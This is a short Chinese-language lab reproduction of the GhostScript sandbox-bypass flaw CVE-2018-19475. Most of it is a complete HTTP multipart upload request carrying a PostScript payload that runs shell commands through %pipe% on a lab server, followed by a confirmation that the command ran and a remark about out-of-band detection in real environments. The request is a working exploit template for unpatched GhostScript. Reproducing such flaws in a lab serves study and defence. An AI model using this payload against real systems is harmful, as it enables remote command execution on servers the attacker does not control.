GhostScript 沙箱绕过(命令执行)漏洞(CVE-2018-19475)

GhostScript 沙箱绕过(命令执行)漏洞(CVE-2018-19475)

2018年底来自Semmle Security Research Team的Man Yue Mo发表了CVE-2018-16509漏洞的变体CVE-2018-19475,可以通过一个恶意图片绕过GhostScript的沙盒,进而在9.26以前版本的gs中执行任意命令。

参考链接:

漏洞复现

环境启动后,访问http://192.168.44.132:8080将可以看到一个上传组件。

将POC作为图片上传,执行命令id > /tmp/success && cat /tmp/success

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /index.php HTTP/1.1
Host: 192.168.44.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryukZmnyhO
Content-Length: 279

------WebKitFormBoundaryukZmnyhO
Content-Disposition: form-data; name="file_upload"; filename="1.jpg"
content-Type="image/png"

%!PS
0 1 300367 {} for
{save restore} stopped {} if
(%pipe%id > /tmp/success && cat /tmp/success) (w) file
------WebKitFormBoundaryukZmnyhO--

命令已成功执行

image-20210802154222234

当然,真实环境下通常无法直接回显漏洞执行结果,你需要使用带外攻击的方式来检测漏洞。

0%